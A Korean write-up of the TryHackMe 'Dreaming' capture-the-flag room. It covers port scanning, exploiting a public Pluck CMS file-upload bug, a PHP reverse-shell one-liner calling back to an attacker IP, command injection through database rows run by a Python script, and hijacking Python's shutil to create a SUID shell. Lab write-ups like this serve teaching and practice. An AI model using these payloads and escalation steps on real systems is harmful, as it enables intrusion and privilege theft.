Dreaming CTF 챌린지 Writeup
Dreaming CTF 챌린지 Writeup
Review 레벨이 Easy로 분류되어 있어서 그런지 공부했던 지식 범위 안에서 사고하면서 풀 수 있었던 문제였습니다. 서버의 Shell을 얻는 과정이 그렇게 어렵지는 않았지만, 적정한 도구와 Password Dictionary를 고르는 것은 아직 감이 잡히지 않습니다.
서버 Shell을 얻고 나서 각 사용자마다의 flag를 얻는 과정이 기초적인 접근 권한을 잘 살펴보는 것으로 풀린다는 것이 인상 깊었습니다.
Enumeration을 한 뒤 해당 Enumeration의 어느 부분을 살펴볼지에 대한 것도 아직 어렵지만, 차근차근 보다 보면 특이한 점을 캐치해낼 수 있는 것을 목표로 삼아 lucien, death, morpheus를 어떤 식으로 공략해야 할지 힌트를 찾아내는 것도 흥미로웠습니다. 중간에 생각나지 않은 테크닉들은 생각조차 떠올릴 수 없어서 다른 WriteUp을 참고했지만, 이런 식의 공략 방법이 있었지를 상기해보는 것이 큰 도움이 되었습니다.
Challenge Overview (TL;DR)
이 Challenge에서 답으로 제출해야 하는 플래그는 총 3개입니다. 서버 접근 권한을 탈취하기 위해 취약한 CMS를 찾고 해당 CMS의 공개된 Exploit을 수행합니다. 서버 접근 권한을 탈취하고 나면 linpeas를 통해 서버 내의 취약 파일을 점검합니다. 해당 점검을 통해 나온 파일들의 소유 권한을 통해 차례차례 공략해나가는 방식입니다.
- lucien: Enumeration을 통해 /opt/test.py에서 lucien의 소유 및 그룹 권한을 가진 파일을 발견합니다. 이 파일은 other에게도 읽기 및 실행 권한이 있으며, 파일을 열어보면 lucien의 플래그가 보입니다. (실제로는 비밀번호가 발견됩니다.)
- death: death의 홈 디렉터리에 getDreams.py가 존재하며, /opt/getDreams.py도 있습니다. /opt/getDreams.py는 DB에 저장된 데이터를 출력하는 파이썬 코드로, 읽어들인 데이터를 셸에서 실행할 수 있는 취약성이 존재합니다. lucien의 홈 디렉터리에서 DB 접속 기록을 확인하고, 이를 활용해 DB에 접속한 뒤 getDreams.py가 셸 명령어를 읽고 실행하도록 데이터를 INSERT하여 플래그(비밀번호)를 얻어낼 수 있습니다.
- morpheus: Enumeration 단계에서 morpheus의 권한으로 1분마다 실행되는 cron을 발견합니다. 이 cron은 morpheus의 홈 디렉터리에 존재하는 restore.py를 실행합니다. restore.py는 shutil 패키지의 copy2 함수를 사용하는데, shutil은 접근 권한이 없어 수정이 가능합니다. copy2() 함수를 수정하여 chmod 777을 걸면 morpheus의 플래그를 확인할 수 있는 권한을 얻습니다.
Initial Reconnaissance
Nmap Scan
Nmap 포트 스캔을 시도하여 대상 서버에 어떤 포트가 열려 있는지 확인합니다.
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-12-02 16:22 KST
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 5.10% done; ETC: 16:23 (0:01:14 remaining)
Nmap scan report for 10.49.164.31
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntun 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:e1:4a:43:f5:0a:e6:f8:8d:a9:07:d5:db:d6:06:cd (RSA)
| 256 d7:d2:66:72:74:16:6a:1c:2c:0d:be:06:b9:d5:49:c6 (ECDSA)
|_ 256 1e:d2:2d:d0:e7:e5:05:2a:2f:9e:63:09:fc:6d:e6:ff (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 48.33 seconds
Gobuster Directory Bruteforcing
제공된 IP 주소로 접속하면 Apache2 Ubuntu Default Page가 나타납니다. 대상 서버에 접근 가능한 다른 경로는 없는지 Gobuster를 사용하여 확인합니다.
╭─jako@prompt-pro ~/private/tryhackme/dreaming
╰─$ gobuster dir -w /Users/jako/private/cyber-skill-utils/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u <http://10.49.164.31/>
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.49.164.31/>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/jako/private/cyber-skill-utils/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/app (Status: 301) [Size: 310] [--> <http://10.49.164.31/app/>]
/server-status (Status: 403) [Size: 277]
/app 경로로 접근하면 http://10.48.147.52/app/pluck-4.7.13/?file=dreaming으로 이동되며, 페이지에 admin이라는 글자를 통해 Admin 페이지에 접근할 수 있습니다.
Admin Page Authentication
admin 페이지에서는 비밀번호를 요구합니다. 무차별 대입 공격을 시도할 수도 있지만, 알려진 일반적인 비밀번호를 입력해보니 로그인이 가능했습니다.
admin page의 비밀번호는 password입니다.
Gaining Initial Shell
여기까지의 과정에서 대상 서버는 pluck-4.7.13이라는 CMS를 사용하는 것을 알 수 있습니다. 해당 정보로 searchsploit에 검색해봅니다.
╰─$ searchsploit -t pluck
(중략)
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) | php/webapps/49909.py
Exploit이 가능한 정보가 확인됩니다.
╰─$ searchsploit -p 49909
Exploit: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
URL: <https://www.exploit-db.com/exploits/49909>
Path: /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/49909.py
Codes: CVE-2020-29607
Verified: True
File Type: ASCII text, with very long lines (18080)
Copied EDB-ID #49909's path to the clipboard
해당 Exploit 코드는 실행 인자로 다음 4가지 정보를 요구합니다.
target_ip = sys.argv[1] # 대상 서버 IP target_port = sys.argv[2] # 대상 서버 PORT password = sys.argv[3] # Admin Password pluckcmspath = sys.argv[4] # 경로
추가적으로 해당 Exploit Code의 내용을 읽어보니 특정 파일을 업로드하는 형태이기에 하단에 reverse shell로 사용할 file을 따로 지정했습니다.
data=”./reverse.phar”
이제 다음과 같이 실행합니다.
╰─$ python /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/49909.py 10.48.147.52 80 password /app/pluck-4.7.13
Authentification was succesfull, uploading webshell
Uploaded Webshell to: <http://10.48.147.52:80/app/pluck-4.7.13/files/shell.phar>
이제 업로드 된 URL에 접근해 reverse shell로 통신을 엽니다.
php -r '$sock=fsockopen("192.168.137.48",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
여기까지 진행하여 대상 서버의 shell까지 접근할 수 있습니다.
Local Enumeration
linpeas.sh를 이용해서 대상 서버에 특이한 점은 없는지 살펴봅니다. linpeas.sh를 이용하면 여러 결과가 나오는데 특이한 점은 “/opt” 경로에 다음과 같은 파일이 있음을 확인할 수 있습니다.
╔══════════╣ Unexpected in /opt (usually empty)
total 16
drwxr-xr-x 2 root root 4096 Aug 15 2023 .
drwxr-xr-x 20 root root 4096 Dec 2 07:21 ..
-rwxrwx-r-- 1 death death 1574 Aug 15 2023 getDreams.py
-rwxr-xr-x 1 lucien lucien 483 Aug 7 2023 test.py
Privilege Escalation
lucien
/opt/test.py를 열어보니 lucien의 비밀번호가 보입니다.
$ cat /opt/test.py
import requests
#Todo add myself as a user
url = "<http://127.0.0.1/app/pluck-4.7.13/login.php>"
password = "HeyLucien#@1999!"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
$
lucien으로 ssh 로그인 이후 home 디렉터리를 보면 다음과 같은 내용이 보입니다.
lucien@ip-10-48-147-52:~ $ ls -al
total 44
drwxr-xr-x 5 lucien lucien 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 2025 ..
-rw------- 1 lucien lucien 684 Aug 25 2023 .bash_history
-rw-r--r-- 1 lucien lucien 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25 2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28 2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28 2023 .local
-rw-rw---- 1 lucien lucien 19 Jul 28 2023 lucien_flag.txt
-rw------- 1 lucien lucien 696 Aug 25 2023 .mysql_history
-rw-r--r-- 1 lucien lucien 807 Feb 25 2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28 2023 .ssh
-rw-r--r-- 1 lucien lucien 0 Jul 28 2023 .sudo_as_admin_successful
.bash_history를 보니 shutil.py에 대해 편집한 기록과 DB 접속 로그가 들어 있습니다.
cd python3.8
nano shutil.py
...
mysql -u lucien -plucien42DBPASSWORD
이것은 다음 단계의 단서가 됩니다.
death
이제 death의 home 디렉터리와 `sudo -l`로 lucien의 관리자 명령어를 실행시킬 수 있는 파일을 찾아봅니다.
lucien@ip-10-48-147-52:/home/death$ ls -al
total 56
drwxr-xr-x 4 death death 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 2025 ..
-rw------- 1 death death 427 Aug 25 2023 .bash_history
-rw-r--r-- 1 death death 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 death death 3771 Feb 25 2020 .bashrc
drwx------ 3 death death 4096 Jul 28 2023 .cache
-rw-rw---- 1 death death 21 Jul 28 2023 death_flag.txt
-rwxrwxr-x 1 death death 1539 Aug 25 2023 getDreams.py
drwxrwxr-x 4 death death 4096 Jul 28 2023 .local
-rw------- 1 death death 465 Aug 25 2023 .mysql_history
-rw-r--r-- 1 death death 807 Feb 25 2020 .profile
-rw------- 1 death death 8157 Aug 7 2023 .viminfo
-rw-rw-r-- 1 death death 165 Jul 29 2023 .wget-hsts
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ <https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid>
Matching Defaults entries for lucien on ip-10-49-164-31:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lucien may run the following commands on ip-10-49-164-31:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
특이한 점은 getDream.py가 death의 home 디렉터리에 있으며, /opt에도 들어있다는 점입니다. death의 home directory에 들어있는 getDreams.py는 다른 사용자도 실행할 수 있는 권한이 부여되어 있습니다.
lucien@ip-10-48-147-52:/home/death$ ls -al
-rwxrwxr-x 1 death death 1539 Aug 25 2023 getDreams.py
lucien@ip-10-48-147-52:/home/death$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
lucien이 death의 권한으로 getDreams.py를 실행할 수 있습니다. 또한 “/opt/getDreams.py”에 들어있는 코드를 살펴봅니다.
lucien@ip-10-48-147-52:/home/death$ cat /opt/getDreams.py
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
DB에서 내용을 읽어 그대로 실행합니다. 취약한 부분은 shell = subprocess.check_output(command, text=True, shell=True) 이 부분입니다. 이제 정리해보면:
/home/death/getDreams.py는 death의 권한으로 실행할 수 있습니다./opt/getDreams.py를 보니 DB에 있는 내용을 읽어 shell을 통해서 실행합니다./home/death/getDreams.py는 DB에서 내용을 읽어서 실행하니 DB 테이블에 shell 명령어를 삽입해두면 death의 권한으로 명령어를 실행할 수 있습니다.
여기서 /opt/getDreams.py가 /home/death/getDreams.py와 무슨 상관이 있는가 하는 의문이 들 수 있지만, 파일 이름만 같고 내용이 다를 수 있습니다. 이 글에서는 /opt에 있는 코드가 /home/death에 있는 코드와 동일하다고 가정하고 진행합니다. 이제 DB 테이블에 데이터를 넣어봅니다.
이것은 앞선 lucien의 home 디렉터리에서 찾았던 DB 접속 명령어를 통해서 접근할 수 있습니다.
mysql -u lucien -plucien42DBPASSWORD
lucien@ip-10-48-147-52:~ $ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| library |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.02 sec)
mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_library |
+-----------------------+
| dreams |
+-----------------------+
1 row in set (0.00 sec)
mysql>
mysql> INSERT INTO dreams (dreamer, dream) VALUES ('cat /home/death/getDreams.py | bash', '-l');
Query OK, 1 row affected (0.01 sec)
mysql>
mysql>
mysql> COMMIT;
Query OK, 0 rows affected (0.00 sec)
이제 다시 getDreams.py를 실행하면 death의 비밀번호가 보입니다.
lucien@ip-10-48-147-52:~ $ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "!mementoMORI666!"
DB_NAME = "library"
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
morpheus
restore.py는 1분마다 실행됩니다. 이는 Enumeration 단계에서 확인할 수 있습니다.
lucien@ip-10-48-147-52:/home/morpheus$ ls -al
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 .
drwxr-xr-x 6 root root 4096 May 18 2025 ..
-rw------- 1 morpheus morpheus 58 Aug 14 2023 .bash_history
-rw-r--r-- 1 morpheus morpheus 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus 22 Jul 28 2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 2023 .local
-rw-rw---- 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile
-rw-rw-r-- 1 morpheus morpheus 180 Aug 7 2023 restore.py
-rw-rw-r-- 1 morpheus morpheus 66 Jul 28 2023 .selected_editor
lucien@ip-10-48-147-52:/home/morpheus$ find / -name "shutil.py" 2>/dev/null
/usr/lib/python3.8/shutil.py
lucien@ip-10-48-147-52:/home/morpheus$ ls -al /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18 2025 /usr/lib/python3.8/shutil.py
death@ip-10-48-147-52:/home/morpheus$ cat /usr/lib/python3.8/shutil.py | grep -n copy2
59:__all__ = ["copyfileobj", "copyfile", "copymode", "copystat", "copy", "copy2",
422:def copy2(src, dst, *, follow_symlinks=True):
460: use_srcentry = copy_function is copy2 or copy_function is copy
488: # otherwise let the copy occur. copy2 will raise an error
516:def copytree(src, dst, symlinks=False, ignore=None, copy_function=copy2,
550: destination path as arguments. By default, copy2() is used, but any
752:def move(src, dst, copy_function=copy2)
vim /usr/lib/python3.8/shutil.py 명령어로 copy2 함수 내에 명령을 삽입하여 SUID bash를 생성합니다.
def copy2(src, dst, *, follow_symlinks=True):
os.system("cp /bin/bash /home/morpheus/bash && chmod +s /home/morpheus/bash")
"""Copy data and metadata. Return the file's destination.
Leave a comment